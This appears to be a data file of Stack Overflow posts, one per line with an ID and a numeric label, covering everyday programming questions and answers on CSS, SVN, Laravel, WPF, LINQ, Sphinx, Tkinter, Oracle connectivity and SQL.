11566824	0	 <p>this is a problem with the lastest versions of Firefox and not your code. I have half a dozen sites that are not properly rendering css in firefox at this time. they were all fine not more than a week ago and no change to the code or codebase was made. the styles still work in other browsers. </p> <p>Firefox is having issues on thier current release of the browser and I am sure they are all aware of it, but really, if it does not get fixed soon, they will loose even more market share. which would be a shame really.</p>
2210564	0	 <p>There is no way that this can happen. More often we think that there is bug in the language when we are sure that, we haven't done any thing wrong. But there is always some thing silly in the code. You must check the code again.</p>
4458273	0	Which CSS Selector is better practice? <p>I am wondering which selector is better practice and why?</p> <p><strong>Sample HTML Code</strong></p> <pre class="lang-html prettyprint-override"><code>&lt;div class="main"&gt; &lt;div class="category"&gt; &lt;div class="product"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>and we want to reach <code>.product</code> with CSS selectors:</p> <ol> <li><code>.product</code></li> <li><code>.main .category .product</code></li> <li><code>div.main div.category div.product</code></li> </ol> <p>I am comparing them to the following criteria:</p> <ul> <li>Performance</li> <li>Maintainability</li> <li>Readability</li> </ul> <p>We may assume that <code>.product</code> is unique throughout the page. We can have used id instead of class but in this case, we chose class attribute.</p>
18101538	0	Set timestamp on insert when loading CSV <p>I have a <code>Timestamp</code> field that is defined to be automatically updated with the <code>CURRENT_TIMESTAMP</code> value.<br/> It works fine when I fire a query, but when I import a csv (which I'm forced to do since one of the fields is longtext) , the update does not work.</p> <p>I have tried to:</p> <ol> <li>Give timestamp column as <code>now()</code> function in csv</li> <li>Manually enter timestamp like <code>2013-08-08</code> in the csv</li> </ol> <p>Both the approaches do not work</p>
18595545	0	L4 and Wordpress - How to install L4 on subdomain shared with Wordpress <p>Here is the structure I am aiming for:</p> <pre><code> project1.site.com -&gt; laravel projects project2.site.com -&gt; laravel projects project3.site.com -&gt; laravel projects www.site.com -&gt; wordpress install </code></pre> <p>How can I accomplish this? I currently tried the following web host structure</p> <pre><code> /home/user/www/wp -&gt; wordpress install /home/user/l4/project1 -&gt; laravel app folders /home/user/www/project1 -&gt; laravel public folder </code></pre> <p>However L4 is not loading properly - it cannot access the app folder ("No such file or directory" when trying to access the L4 bootstrap folder located outside the webroot). I checked the folder permissions and everything looks fine, my guess is wordpress is not playing well with laravel.</p> <p>Anyone know how to fix this? Or provide a setup to allow for a wordpress site with separate subdomains for each laravel project?</p>
21565167	0	 <p>You must show not metadata but materials array, blender exporter doesn't save texture by default if it missed in materials then try 2-2 from <a href="http://graphic-sim.com/B_basic_export.html" rel="nofollow">this tutorial</a>.</p>
4110181	0	 <p>I don't understand your concern about G, H, I appearing on branchB instead of branchA. What I mean is, if you rename your <code>branchA</code> to <code>branchB</code>, and branch off from <code>I</code> to create the new <code>branchA</code>, and commit <code>M</code> to <code>branchA</code>, you should get what you want.</p> <p>As far as I know, the branches are simply named heads pointing to particular commits (look at .git/refs/heads), and the rest of the tree is determined solely by parent-child relationships in git. Even if you somehow manage to rebase J-K-L onto a new branchB, and commit M to the now vacant space, the object data would be identical. Both M and J would point at I as their parents, and G/D would point to C as their parents, and the rest would simply point to their immediate parent. Am I missing something here?</p>
5141447	0	 <p>I haven't tested the code yet but this will help you to get your output</p> <pre><code>function editRecord(id) { db.transaction(function(tx) { tx.executeSql('SELECT * FROM tableOne WHERE id=?', [id], function(tx,results){ for (var i=0; i &lt; results.rows.length; i++){ row = results.rows.item(i); editRecords2(row.name,row.total); } }); }); } function editRecords2(name,total) { f = $('#edit'); f.html(""); f.html(f.html() + ' &lt;form method="get" id="edit_form"&gt;&lt;div&gt;&lt;input type="name" id="editname" value="' + name+'" size="30"/&gt;&lt;input type="number" current id="editamount" value="' + total+'" name="amount" size="15" /&gt;&lt;input type="submit" value="Save" /&gt;&lt;/div&gt;&lt;/form&gt; '); } </code></pre> <p>if any problem occure contact me.</p>
19451800	0	SVN resolve tree conflict in merge <p>I have an SVN merge tree conflict that i can't figure out how to resolve and i'm hoping you guys(girls) can help out. </p> <p>Here's the situation: i created a branch A from trunk to do some development. Then i created a branch B, from branch A. Both branches are evolving concurrently. </p> <p>At some point i cherry-picked some revisions from branch B into trunk to get some features developed in branch B.</p> <p>Now, i synced branch A with trunk:</p> <pre><code>~/branch_a$ svn merge ^/trunk ~/branch_a$ svn commit </code></pre> <p>No problems here. Next step is to sync B with A:</p> <pre><code>~/branch_b$ svn merge ^/trunk </code></pre> <p>Here i get some tree conflicts, in files/dirs that already existed in trunk before the merge but were changed in the cherry-picks i did earlier (don't know if it has anything to do with it, i'm just mentioning it):</p> <pre><code> C some_dir/other_dir/some_file.php &gt; local add, incoming add upon merge C some_other_dir/some_sub_dir &gt; local add, incoming add upon merge </code></pre> <p>Essentially i want the versions of the files that are coming in from the merge and discard the current version. What's the best way to solve this?</p> <p>Thanks in advance!</p>
16848971	0	 <p>The issue that I was having was a result of a bug involved with the sorting method implemented in Magento when ordering the total calculations. A more in-depth explanation and solution can be found at the following stack overflow thread.</p> <p><a href="http://stackoverflow.com/questions/9194281/sort-algorithm-magento-checkout-totals-sorted-wrongly-causing-wrong-shipping-ta">Sort algorithm: Magento checkout totals sorted wrongly causing wrong shipping tax calculation</a></p>
18040148	0	"The Web server does not appear to have the FrontPage server extensions installed and iis6 <p>I wanted to publish my website from visual studio but i got "The Web server does not appear to have the FrontPage server extensions installed" error;first I tried to install frontpage but because i didn't have microsoft share point in my administrative tools list and as here said:<a href="http://stackoverflow.com/questions/5858811/frontpage-server-extensions-install-problem">here</a>,I tried to install webdav 7.5 version,(I believed my iis version was 7)but it gives me error that iis version 7 needs webdav version 7.5!!! I have googled it and tried so many links more or less(because I couldn't find some parts of them in my computer),I tried enabling webdav and ... such as:<a href="http://www.petenetlive.com/KB/Article/0000293.htm" rel="nofollow">this</a>and <a href="http://www.iis.net/learn/install/installing-publishing-technologies/installing-and-configuring-webdav-on-iis" rel="nofollow">this</a> but none helped.so I thought maybe I am going wrong,so due to this:<a href="http://stackoverflow.com/questions/18039941/determination-of-windows-server-and-iis">which is my own question</a>,i think maybe i am using windows server 2003 and iis6,so i googled to install frontpage for iis6,<a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/2c522246-8450-408d-b907-197dfa0fdbb6.mspx?mfr=true" rel="nofollow">from here</a>,but I don't have such a thing "FrontPage 2002 Server Extensions" in turn windows features on or off,so what should I do?please help me to get out of this hell,should I upgrade iis6 to iis7?please help,i will be so thankful. by the way my os is windows 7 64 bit,and I use visual studio 2010.</p>
33556000	0	 <pre><code>JTextField textField = new JTextField(10); one.add(textField, BorderLayout.PAGE_START); one.add(f, BorderLayout.CENTER); </code></pre> <p>The default layout manager for a frame is the BorderLayout, so you need to add tomponens to a different area of the layout. Read the section from the Swing tutorial on <a href="http://docs.oracle.com/javase/tutorial/uiswing/layout/border.html" rel="nofollow">How to Use BorderLayout</a> for more information and examples. The tutorial also has examples of other layout managers and will show you how to better design your class.</p> <p>The tutorial also has a section on <code>Custom Painting</code> your should read because you also should set the preferred size of your custom painting panel.</p>
33525605	0	 <p>This type of player is connected via Media Transfer Protocol (MTP) Looks like you need <a href="https://pypi.python.org/pypi/PyMTP" rel="nofollow">PyMTP</a> Good luck.</p>
28979855	0	Triggering a function with a dropdown - Functions and Scripts for Google Sheets <p>Thanks for the support so far. </p> <p>I've had a look but available information seems a little different to what I'm looking for so I'd very much appreciate a few pointers.</p> <p>Sheet I'm working on: <a href="https://docs.google.com/spreadsheets/d/1K8QhVKWSsvHTFKDHNv3ySb5bcaU9I7tczIZvIkegbw0/edit#gid=1778672780" rel="nofollow">https://docs.google.com/spreadsheets/d/1K8QhVKWSsvHTFKDHNv3ySb5bcaU9I7tczIZvIkegbw0/edit#gid=1778672780</a></p> <p><strong>What I'd like to achieve:</strong> On the Sheet 'Pharma' When B1 dropdown is set to 'Pharma', I want the table to display all data for Pharma industry.</p> <p>I.e., When B1 = Pharma, I want the function in A3 to run (=query({Sanshiro!A1:O; Suil!A1:O; Yujiro!A1:O;Josh!A1:O}, "select * where Col2 contains 'Pharma'",0))</p> <p>Is there a way to do this with just functions or do I have to use a script such as onEdit?</p> <p>e.g. something along the lines of </p> <pre><code>=if (B2 = 'Pharma', run =query({Sanshiro!A1:O; Suil!A1:O; Yujiro!A1:O;Josh!A1:O}, "select * where Col2 contains 'Pharma'",0) </code></pre> <p>Can anyone point me in the right direction?</p> <p>Thank you in advance!!</p>
14275235	0	Checkbox loses focus with FocusManager.IsFocusScope="True" <p>I see strange behavior with my <code>CheckBox</code> and its focus/tab order.</p> <p>First some "working" code:</p> <pre><code>&lt;Grid&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition /&gt; &lt;RowDefinition /&gt; &lt;/Grid.RowDefinitions&gt; &lt;Button Grid.Row="0" Width="100" Height="25"/&gt; &lt;TabControl Grid.Row="1" &gt; &lt;!--TabItem Header="tabItem1" Name="tabItem1"--&gt; &lt;TabItem Header="tabItem1" Name="tabItem1" FocusManager.IsFocusScope="True"&gt; &lt;ScrollViewer&gt; &lt;Grid&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition /&gt; &lt;RowDefinition /&gt; &lt;RowDefinition /&gt; &lt;RowDefinition /&gt; &lt;/Grid.RowDefinitions&gt; &lt;TextBox Grid.Row="0" /&gt; &lt;TextBox Grid.Row="1"/&gt; &lt;CheckBox Grid.Row="2" Content="Test" /&gt; &lt;TextBox Grid.Row="3"/&gt; &lt;/Grid&gt; &lt;/ScrollViewer&gt; &lt;/TabItem&gt; &lt;/TabControl&gt; &lt;/Grid&gt; </code></pre> <p>If you try this, the tab order works fine - as long as you do not check the CheckBox. If I check the CheckBox it loses focus and the next tab press sets the focus to the Button.</p> <p>If I remove <code>FocusManager.IsFocusScope="True"</code> all works fine.</p> <p>My question is this behavior wanted or a bug?</p>
29034193	0	Using Row_Number of SQL Server in Linq <p>I have a table with data like</p> <pre><code>Date Users ------------------ 01/03/2015 25 02/03/2015 28 04/03/2015 36 07/03/2015 45 08/03/2015 47 </code></pre> <p>I had created a table valued function in Sql Server using Row_Number which gave me output like below which I used for further processing</p> <pre><code>Date Users UsersAdded ---------------------------------- 01/03/2015 25 0 02/03/2015 28 3 04/03/2015 36 8 07/03/2015 45 9 08/03/2015 47 2 </code></pre> <p>However, I need to do the same thing in Linq now but it does not has the Row_Number function. I had a look at <a href="http://stackoverflow.com/questions/17788400/how-do-i-translate-a-query-that-uses-row-number-into-linq">How do I translate a query that uses ROW_NUMBER() into linq?</a> but that is not related to my query. </p> <p>My query in SQL had Rownum upon the date field and query was</p> <pre><code>select date, Users, (T1.Users - isnull(T2.Users,0)) as UsersAdded from tableuser T1 join tableuser T2 on T1.Rownum = (T2.RowNum +1) </code></pre> <p>I am new to LINQ so don't even know how to start on this query. Any help would be appreciated.</p>
2960573	0	 <p>Do it in your base/parent <code>&lt;system.web&gt;</code> section.</p>
38256215	0	 <p>You can create bindings that set a flag on button press, and release the flag on button release. You can set a binding on mouse motion that colors the item under the cursor when the flag is set. </p> <p>It would look something like this:</p> <pre><code>class Example(object): def __init__(self, parent): ... self._dragging = False ... self.canvas.bind("&lt;ButtonPress-1&gt;", self.on_click) self.canvas.bind("&lt;B1-Motion&gt;", self.on_move) self.canvas.bind("&lt;ButtonRelease-1&gt;", self.on_release) def on_click(self, event): self._dragging = True self.on_move(event) def on_move(self, event): if self._dragging: items = self.canvas.find_closest(event.x, event.y) if items: rect_id = items[0] self.canvas.itemconfigure(rect_id, fill="red") def on_release(self, event): self._dragging = False </code></pre>
12645201	0	 <p>When the page is done loading, intercept the links :</p> <pre><code>Dim olink As HtmlElement Dim olinks As HtmlElementCollection = WB1.Document.Links For Each olink In olinks olink.AttachEventHandler("onclick", AddressOf LinkClicked) Next </code></pre> <p>Then add a function :</p> <pre><code>Private Sub LinkClicked(ByVal sender As Object, ByVal e As EventArgs) If txtAddress.Enabled = True Then Dim link As HtmlElement = WB1.Document.ActiveElement Dim url As String = link.GetAttribute("href") MsgBox("Link Clicked: " &amp; link.InnerText &amp; vbCrLf &amp; "Destination: " &amp; url) WB1.Navigate(url, False) End If End Sub </code></pre>
32680229	0	How to make estimated value based on amount of text? <p>I'm trying to make a social media app and the amount of text in a post will differ greatly, so I can't just set the overall estimated height to one number. How would I go about setting the estimated height according to the amount of text in each cell? </p>
21690055	0	 <h2>Upgrading Python (or any package)</h2> <pre><code>$ sudo apt-get update $ sudo apt-get upgrade python </code></pre> <h2>Using Python</h2> <pre><code>$ python Python 2.7.4 (default, Sep 26 2013, 03:20:26) [GCC 4.7.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; print "bacon" bacon &gt;&gt;&gt; </code></pre>
19107177	0	 <p>The compiler says when you call the function, the argument list is <code>(C2DRender *, CPoint, float, int, float, float)</code>. But there is no exact match for the call. </p> <p>There are two candidates, </p> <pre><code>void CTexture::RenderRotate(C2DRender *,CPoint,FLOAT,BOOL,DWORD,FLOAT,FLOAT) </code></pre> <p>and void CTexture::RenderRotate(C2DRender *,CPoint,FLOAT,DWORD,FLOAT,FLOAT)</p> <p>You can say, <code>int</code> can be converted to <code>BOOL</code> or <code>DWORD</code> to match one of the candidates but the compiler considers both are equally good. So it can not decide and ask for your clarification. </p>
32545216	0	 <p>I think you hit a fairly common pitfall. When you use dual-y you need to change <code>vAxis</code> to <code>vAxes</code>. Other than that, looks ok.</p> <p>Thanks for using angular-google-chart, by the way!</p>
6279376	0	 <p>I'm not sure if this is actually going to be a problem, but it's likely this could come up during replication.</p> <p>If you want to prevent it from coming up, you should look into the <a href="http://www.couchbase.org/sites/default/files/uploads/all/documentation/couchbase-api-db.html#couchbase-api-db_db-purge_post" rel="nofollow">/db/_purge</a> command. This command will remove references to deleted documents, and you can specify a single document ID to affect.</p>
33745261	0	How do I aggregate fragment URLs when viewing content pageviews? <p>I'm using the Google Analytics dashboard. </p> <p>I'm viewing pageviews for individual pages (Behavior > Site Content > All Pages).</p> <p>I'm seeing results like the example below.</p> <pre><code>page title page views ------------------------------ /blog/a.html 1000 /blog/b.html 500 /blog/c.html 100 /blog/a.html#yo 20 /blog/a.html#sup 10 /blog/b.html#foo 5 </code></pre> <p>I want to aggregate the results so that they just tell me the total amount of views per page. So, <code>/blog/a.html</code> would have 1030, <code>/blog/b.html</code> would have 505.</p>
13291854	0	 <p>I've dealt with this issue before. I recommend making two classes for distance. One that has the imperial measures and one that has the metric measures. Then, you can convert back and forth between them easily, with the obvious caveat that you lose precision when you do.</p> <p>Here's an example of an imperial distance class, with inches as the base unit of measure.</p> <pre><code> public class ImperialDistance { public static readonly ImperialDistance Inch = new ImperialDistance(1.0); public static readonly ImperialDistance Foot = new ImperialDistance(12.0); public static readonly ImperialDistance Yard = new ImperialDistance(36.0); public static readonly ImperialDistance Mile = new ImperialDistance(63360.0); private double _inches; public ImperialDistance(double inches) { _inches = inches; } public double ToInches() { return _inches; } public double ToFeet() { return _inches / Foot._inches; } public double ToYards() { return _inches / Yard._inches; } public double ToMiles() { return _inches / Mile._inches; } public MetricDistance ToMetricDistance() { return new MetricDistance(_inches * 0.0254); } public override int GetHashCode() { return _inches.GetHashCode(); } public override bool Equals(object obj) { var o = obj as ImperialDistance; if (o == null) return false; return _inches.Equals(o._inches); } public static bool operator ==(ImperialDistance a, ImperialDistance b) { // If both are null, or both are same instance, return true if (ReferenceEquals(a, b)) return true; // if either one or the other are null, return false if (ReferenceEquals(a, null) || ReferenceEquals(b, null)) return false; // compare return a._inches == b._inches; } public static bool operator !=(ImperialDistance a, ImperialDistance b) { return !(a == b); } public static ImperialDistance operator +(ImperialDistance a, ImperialDistance b) { if (a == null) throw new ArgumentNullException(); if (b == null) throw new ArgumentNullException(); return new ImperialDistance(a._inches + b._inches); } public static ImperialDistance operator -(ImperialDistance a, ImperialDistance b) { if (a == null) throw new ArgumentNullException(); if (b == null) throw new ArgumentNullException(); return new ImperialDistance(a._inches - b._inches); } public static ImperialDistance operator *(ImperialDistance a, ImperialDistance b) { if (a == null) throw new ArgumentNullException(); if (b == null) throw new ArgumentNullException(); return new ImperialDistance(a._inches * b._inches); } public static ImperialDistance operator /(ImperialDistance a, ImperialDistance b) { if (a == null) throw new ArgumentNullException(); if (b == null) throw new ArgumentNullException(); return new ImperialDistance(a._inches / b._inches); } } </code></pre> <p>And here's a metric class with meters as the base unit:</p> <pre><code>public class MetricDistance { public static readonly MetricDistance Milimeter = new MetricDistance(0.001); public static readonly MetricDistance Centimeter = new MetricDistance(0.01); public static readonly MetricDistance Decimeter = new MetricDistance(0.1); public static readonly MetricDistance Meter = new MetricDistance(1.0); public static readonly MetricDistance Decameter = new MetricDistance(10.0); public static readonly MetricDistance Hectometer = new MetricDistance(100.0); public static readonly MetricDistance Kilometer = new MetricDistance(1000.0); private double _meters; public MetricDistance(double meters) { _meters = meters; } public double ToMilimeters() { return _meters / Milimeter._meters; } public double ToCentimeters() { return _meters / Centimeter._meters; } public double ToDecimeters() { return _meters / Decimeter._meters; } public double ToMeters() { return _meters; } public double ToDecameters() { return _meters / Decameter._meters; } public double ToHectometers() { return _meters / Hectometer._meters; } public double ToKilometers() { return _meters / Kilometer._meters; } public ImperialDistance ToImperialDistance() { return new ImperialDistance(_meters * 39.3701); } public override int GetHashCode() { return _meters.GetHashCode(); } public override bool Equals(object obj) { var o = obj as MetricDistance; if (o == null) return false; return _meters.Equals(o._meters); } public static bool operator ==(MetricDistance a, MetricDistance b) { // If both are null, or both are same instance, return true if (ReferenceEquals(a, b)) return true; // if either one or the other are null, return false if (ReferenceEquals(a, null) || ReferenceEquals(b, null)) return false; return a._meters == b._meters; } public static bool operator !=(MetricDistance a, MetricDistance b) { return !(a == b); } public static MetricDistance operator +(MetricDistance a, MetricDistance b) { if (a == null) throw new ArgumentNullException("a"); if (b == null) throw new ArgumentNullException("b"); return new MetricDistance(a._meters + b._meters); } public static MetricDistance operator -(MetricDistance a, MetricDistance b) { if (a == null) throw new ArgumentNullException("a"); if (b == null) throw new ArgumentNullException("b"); return new MetricDistance(a._meters - b._meters); } public static MetricDistance operator *(MetricDistance a, MetricDistance b) { if (a == null) throw new ArgumentNullException("a"); if (b == null) throw new ArgumentNullException("b"); return new MetricDistance(a._meters * b._meters); } public static MetricDistance operator /(MetricDistance a, MetricDistance b) { if (a == null) throw new ArgumentNullException("a"); if (b == null) throw new ArgumentNullException("b"); return new MetricDistance(a._meters / b._meters); } } </code></pre> <p>And here's a test method that exemplifies the usage.</p> <pre><code>[TestMethod] public void _5in_Equals_12_7cm() { var inches = new ImperialDistance(5); var cms = new MetricDistance(MetricDistance.Centimeter.ToMeters() * 12.7); var calcCentimeters = Math.Round(inches.ToMetricDistance().ToCentimeters(), 2, MidpointRounding.AwayFromZero); var calcInches = Math.Round(cms.ToImperialDistance().ToInches(), 2, MidpointRounding.AwayFromZero); Assert.AreEqual(cms.ToCentimeters(), 12.7); Assert.AreEqual(calcCentimeters, 12.7); Assert.AreEqual(inches.ToInches(), 5); Assert.AreEqual(calcInches, 5); } </code></pre> <p>You can also add extension methods </p> <pre><code>public static MetricDistance Centimeters(this Int32 that) { return new MetricDistance(MetricDistance.Centimeter.ToMeters() * that); } [TestMethod] public void _100cm_plus_300cm_equals_400cm() { Assert.AreEqual(100.Centimeters() + 300.Centimeters(), 400.Centimeters()); } </code></pre> <p>You can use this simple strategy for weights, temperatures, liquid measures, etc.</p>
9011260	0	Thinking Sphinx: Another index error <p>While indexing I get this error:</p> <pre><code>indexing index 'qtl_table_core'... ERROR: index 'qtl_table_core': sql_range_query: 'soybase.qtl_table.QTLName' isn't in GROUP BY (DSN=mysql://_www:***@xxxxxxx/soybase). </code></pre> <p>My model:</p> <pre><code>class QtlTable &lt; ActiveRecord::Base .... define_index do indexes :QTLID, :sortable =&gt; true indexes :QTLName, :sortable =&gt; true end </code></pre> <p>development.sphinx.conf</p> <pre><code>indexer { } searchd { listen = 127.0.0.1:1234 log = /usr/home/benjamin/qtl/log/searchd.log query_log = /usr/home/benjamin/qtl/log/searchd.query.log pid_file = /usr/home/benjamin/qtl/log/searchd.development.pid } source qtl_table_core_0 { type = mysql sql_host = xxxxxxxxxxxxxx sql_user = _www sql_pass = sql_db = soybase sql_query_pre = SET NAMES utf8 sql_query_pre = SET TIME_ZONE = '+0:00' sql_query = SELECT SQL_NO_CACHE `qtl_table`.`QTLID` * CAST(1 AS SIGNED) + 0 AS `QTLID` , `qtl_table`.`QTLID` AS `QTLID`, `qtl_table`.`QTLName` AS `QTLName`, `qtl_table`.`QTLID` AS `sphinx_internal_id`, 0 AS `sphinx_deleted`, 1786069111 AS `class_crc`, IFNULL(`qtl_table`.`QTLID`, '') AS `QTLID_sort`, IFNULL(`qtl_table`.`QTLName`, '') AS `QTLName_sort` FROM `qtl_table` WHERE (`qtl_table`.`QTLID` &gt;= $start AND `qtl_table`.`QTLID` &lt;= $end) GROUP BY `qtl_table`.`QTLID` ORDER BY NULL sql_query_range = SELECT IFNULL(MIN(`QTLID`), 1), IFNULL(MAX(`QTLID`), 1) FROM `qtl_table` sql_attr_uint = sphinx_internal_id sql_attr_uint = sphinx_deleted sql_attr_uint = class_crc sql_attr_str2ordinal = QTLID_sort sql_attr_str2ordinal = QTLName_sort sql_query_info = SELECT * FROM `qtl_table` WHERE `QTLID` = (($id - 0) / 1) } index qtl_table_core { source = qtl_table_core_0 path = /usr/home/benjamin/qtl/db/sphinx/development/qtl_table_core charset_type = utf-8 min_infix_len = 1 enable_star = 1 } index qtl_table { type = distributed local = qtl_table_core } </code></pre>
6387757	0	 <pre><code>select Data.* from Data inner join Page on (Data.PageID=Page.PageID) where Data.PageID=1 order by if(Page.OrderByMethod='Most Recent Data First', now()-DataDate, if(Page.OrderByMethod='Most Recent Data Last', DataDate-now(), DataName) ); </code></pre>
32193371	0	 <p>R is very LisP-like. The symbol <code>[</code> is actually a function. When you write <code>mylist[1]</code>, what is actually happening "under the hood" is that items (only one in this instance) inside the flanking square brackets are extracted and passed to the <code>[</code> function as second and possibly third arguments, along with 'mylist` as the first object, so it becomes:</p> <pre><code> `[`(mylist, 1) # that will also succeed if you type it at the command line </code></pre> <p>Both <code>sapply</code> and <code>lapply</code> have a trailing triple-dots argument. So the series of items being passed to <code>[</code> as it first arguments are just the values inside <code>fileNameSplit</code>'s sublists and the <code>1</code> is being recycled as a second argument, and you therefore get the first item in each of those sublists. It's a series of calls like:</p> <pre><code> `[`(mylist[[1]], 1) # as the first one with 2,3, ... in the [[.]] for succeeding calls </code></pre> <p>Because you used <code>sapply</code> the value gets passed to simplify2array and comes back to you as a vector-result, instead of the list that would have been returned had you just used <code>lapply</code>.</p>
119346	0	 <p>It's just personal preference really, and has to do with the layout of your python modules.</p> <p>Let's say you have a module called <code>erikutils</code>. There are two ways that it can be a module, either you have a file called <em>erikutils.py</em> on your <code>sys.path</code> or you have a directory called <em>erikutils</em> on your <code>sys.path</code> with an empty <em><code>__init__.py</code></em> file inside it. Then let's say you have a bunch of modules called <code>fileutils</code>, <code>procutils</code>, <code>parseutils</code> and you want those to be sub-modules under <code>erikutils</code>. So you make some .py files called <em>fileutils.py</em>, <em>procutils.py</em>, and <em>parseutils.py</em>:</p> <pre><code>erikutils __init__.py fileutils.py procutils.py parseutils.py </code></pre> <p>Maybe you have a few functions that just don't belong in the <code>fileutils</code>, <code>procutils</code>, or <code>parseutils</code> modules. And let's say you don't feel like creating a new module called <code>miscutils</code>. AND, you'd like to be able to call the function like so:</p> <pre><code>erikutils.foo() erikutils.bar() </code></pre> <p>rather than doing</p> <pre><code>erikutils.miscutils.foo() erikutils.miscutils.bar() </code></pre> <p>So because the <code>erikutils</code> module is a directory, not a file, we have to define it's functions inside the <em><code>__init__.py</code></em> file.</p> <p>In django, the best example I can think of is <code>django.db.models.fields</code>. ALL the django *Field classes are defined in the <em><code>__init__.py</code></em> file in the <em>django/db/models/fields</em> directory. I guess they did this because they didn't want to cram everything into a hypothetical <em>django/db/models/fields.py</em> model, so they split it out into a few submodules (<em>related.py</em>, <em>files.py</em>, for example) and they stuck the made *Field definitions in the fields module itself (hence, <em><code>__init__.py</code></em>).</p>
17606006	0	 <p>For someone directed here from google :</p> <p>If your JRE crashes after you run the java tutorials then most probably you have the python Bindings installed as well (cv2.so) . You will have to re-make OpenCV without those bindings </p> <p><code>cmake -DBUILD_SHARED_LIBS=OFF -D BUILD_NEW_PYTHON_SUPPORT=NO</code></p> <p>That solved the problem for me.</p>
14439127	0	 <p>Save them as UTC time and then convert them to local time when loading to the UI.</p>
6803195	0	 <p>For those who installed direct from the official installer, just adding the host to the command works with no path changes:</p> <pre><code>psql -h localhost -U postgres </code></pre>
7797950	0	 <p>South's main concern is handling issues regarding changes in relational db schemas. This is not required in a non-rel db, where smart coding practices and simple scripts can handle migrations as an online operation.</p> <p>See also:</p> <ul> <li><a href="http://code.google.com/appengine/articles/update_schema.html" rel="nofollow">http://code.google.com/appengine/articles/update_schema.html</a></li> <li><a href="http://code.google.com/p/appengine-mapreduce/" rel="nofollow">http://code.google.com/p/appengine-mapreduce/</a></li> </ul> <p>Keep in mind that many Django field types are <a href="http://www.allbuttonspressed.com/projects/djangoappengine#field-types" rel="nofollow">supported by djangoappengine</a>. This means you can use <a href="https://docs.djangoproject.com/en/dev/ref/django-admin/#django-admin-dumpdata" rel="nofollow"><code>dumpdata</code></a> on your sql project to save your data to files and later use <a href="https://docs.djangoproject.com/en/dev/ref/django-admin/#django-admin-loaddata" rel="nofollow"><code>loaddata</code></a> in your new project to load it into your models.</p> <p>If you need further processing, you can create a small script that copies data from the old models to the new models.</p>
30798732	0	Trouble accumulating data from specific time interval last year <p>I'm trying to accumulate an amount from a SQL query. The inputs <code>@STARTDATE</code> and <code>@ENDDATE</code> is a datetime type (YYYYMMDD).<br> So the Case statements check if the date of the verification is between the specific dates.</p> <p>Some explanations of the Case statements: Works fine:<br> CURRENT_YEAR_ACC, accumulates the current years amounts of verifications from the beginning of the year to @ENDDATE</p> <p>CURRENT_YEAR_MONTHS, the accumulated amounts between @STARTDATE and @ENDDATE.</p> <p>PREVIOUS_YEAR_MONTH, last years accumulated amounts between @STARTDATE -1 yr and @ENDDATE -1 yr.</p> <p>Does not work: </p> <p>PREVIOUS_YEAR_ACC, should calculate beginning of last year (20XX-01-01) to the @ENDDATE -1yr. </p> <p>Here I get the same value as PREVIOUS_YEAR_MONTH</p> <pre><code> sum (RAW_DATA.CURRENT_YEAR_MONTH) as PERIOD_I_AR, sum (RAW_DATA.PREVIOUS_YEAR_MONTH) as PERIOD_FG_AR, sum (RAW_DATA.CURRENT_YEAR_ACC) as ACK_I_AR, sum (RAW_DATA.PREVIOUS_YEAR_ACC) as ACK_FG_AR from (SELECT rehuv.[KD1] as VST_nr, rekod.BEN as VST_ben, rehuv.KONTO as Konto_nr, rektk.KONTO_BEN as Konto_ben, lresk.LEV_NR as LEV_nr, rehuv.TEXT as LEV_ben, rehuv.VER_DATUM as DATUM, case when rehuv.VER_DATUM &gt; = dateadd (month, - datepart (month, @STARTDATE) + 1, @STARTDATE) and rehuv.VER_DATUM &lt; = @ENDDATE then rehuv.BELOPP else 0 end as CURRENT_YEAR_ACC, case when rehuv.VER_DATUM &gt; = dateadd (YEAR, - 1, dateadd (MONTH, - datepart (MONTH, @STARTDATE) + 1, @STARTDATE)) and rehuv.VER_DATUM &lt; = DATEADD (year, - 1, @ENDDATE) then rehuv.BELOPP else 0 end as PREVIOUS_YEAR_ACC, case when rehuv.VER_DATUM &gt; = @STARTDATE and rehuv.VER_DATUM &lt; = @ENDDATE then rehuv.BELOPP else 0 end as CURRENT_YEAR_MONTH, case when rehuv.VER_DATUM &gt; = DATEADD (year, - 1, @STARTDATE) and rehuv.VER_DATUM &lt; = DATEADD (year, - 1, @ENDDATE) then rehuv.BELOPP else 0 end as PREVIOUS_YEAR_MONTH FROM [FTG0001].[dbo].[REHUV] </code></pre>
5298680	0	can't connect to oracle from win 2008 R2 <p>i can't connect to oracle from windows 2008 R2 (connect from visual studio)</p> <p>i have installed oracle client x64 , but still can't connect </p> <blockquote> <p>“Oracle client and networking components were not found. These components are supplied by Oracle Corporation and are part of the Oracle Version 7.3.3 or later client software installation”</p> </blockquote> <p>also i tried to connect trough ODBC but i couldn't</p> <p>any ideas please</p>
24045905	0	 <p>To do that you need a third table which contains EmployeeID and ProjectID. Mark both IDs as primary key. You have to do a double join if you want to select them though but it's the best way to handle it.</p>
30161188	0	 <p>You can try using following code, have written a sample code ,</p> <pre><code>foreach (GridViewRow row in GridView1.Rows) { Label lblFname = (Label)row.FindControl("lblFname"); Label lblFaName = (Label)row.FindControl("lblFaName"); Label lblLName = (Label)row.FindControl("lblLName"); DropDownList ddl_att = (DropDownList)row.FindControl("ddlDesignation"); DropDownList ddl_rmk = (DropDownList)row.FindControl("ddlRemark"); dataInsert(lblFname.Text,lblFaName.Text,ddl_att.SelectedValue); } public void dataInsert(string First_name,string Father_name,string Attendance) { using (SqlConnection con = new SqlConnection(conn.ConnectionString)) { using (SqlCommand cmd = new SqlCommand()) { cmd.CommandText = "yourInsertQuery"; cmd.Connection = con; cmd.CommandType = CommandType.Text; cmd.Parameters.AddWithValue("@First_name", First_name); cmd.Parameters.AddWithValue("@Father_name", Father_name); cmd.Parameters.AddWithValue("@Attendance", Attendance); ... ... con.Open(); cmd.ExecuteNonQuery(); } con.Close(); } } </code></pre> <p>Also you can save data into datatable and if your DataTable schema and table schema are matched, then using <code>SqlBulkCopy</code> you can do bulk insert into your database.</p>
